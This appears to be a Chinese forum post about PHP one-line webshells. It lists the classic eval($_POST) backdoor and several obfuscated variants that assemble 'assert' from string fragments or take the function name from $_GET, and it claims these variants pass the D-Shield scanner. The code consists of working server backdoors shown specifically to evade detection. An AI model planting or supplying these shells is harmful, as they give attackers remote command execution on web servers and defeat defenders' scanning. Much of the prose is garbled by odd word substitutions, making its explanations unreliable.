
各人可以看到上圖 只是有一部門被殺
最典范最原始的一句話 被殺
<?php @eval($_POST['k8']);?>
下面幾個都是變種 不被殺
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['8']);?>
<?php $k = str_replace("8","","a8s88s8e8r88t");
$k($_POST["8"]); ?>
<?php $_GET['k8']($_POST['k8']);?>
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["k8"]); ?>
大馬的話 Darkshell.php 這個在K8信息安詳東西包 PHP馬哪里有
上面的今朝 全過D盾 下一版本 大概就被殺了 因為樣本我提交給阿D了
雖然只是提交了一部門 照舊留了一些過的 可是我不知作別人提供的樣本
有沒有 那些我沒被殺的特征呈現 假如有 我手上留的 也會被殺
別的那條"哈巴狗" 和"八神" 我就不測了 之前都是過的 上面都是變異的寫法
他們的特征應該都充公集有幾多 有些特征可以說是正常行為也是那樣寫
欠好鑒定成WebShell 要否則誤報 有些特征作者都想到了 可是欠好列為特征來殺